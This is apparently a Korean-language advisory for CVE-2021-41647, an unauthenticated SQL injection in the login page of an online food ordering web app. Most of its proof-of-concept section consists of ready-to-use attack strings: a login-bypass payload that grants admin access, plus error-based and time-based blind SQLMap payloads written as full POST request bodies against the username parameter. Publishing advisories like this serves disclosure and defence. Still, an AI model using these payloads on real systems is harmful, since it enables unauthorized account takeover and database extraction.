CVE-2021-41647

CVE-2021-41647 Online-Food-Ordering-Web-App의 SQL 인젝션

Online-Food-Ordering-Web-App는 인증되지 않은 오류 기반 및 시간 기반 블라인드 SQL 인젝션 공격에 취약합니다.
/login.php 페이지의 username 매개변수는 사용자 입력을 검증하지 않으므로, 공격자는 간단한 우회 기법으로 로그인을 우회할 수 있습니다.

애플리케이션 링크

Online-Food-Ordering-Web-App

영향을 받는 구성 요소 및 매개변수

URL: /login.php
매개변수: username

POC

로그인 우회 페이로드

사용자 로그인을 우회하고 전체 관리자 액세스 권한을 얻으려면 username 입력 필드에 다음 페이로드를 입력하십시오: user' or 1=1-- -

SQLMap 페이로드

매개변수: username (POST 요청) 유형: 오류 기반 제목: MySQL >= 5.0 AND 오류 기반 - WHERE, HAVING, ORDER BY 또는 GROUP BY 절 (FLOOR)
페이로드: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf

유형: 시간 기반 블라인드 제목: MySQL >= 5.0.12 AND 시간 기반 블라인드 (query SLEEP)
페이로드: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf

PoC 이미지가 선명하지 않으면 더 나은 해상도로 로드되는 GIF를 클릭하세요.

발견자

Jason Colyvas
MOBIUSBINARY
2021년 9월 20일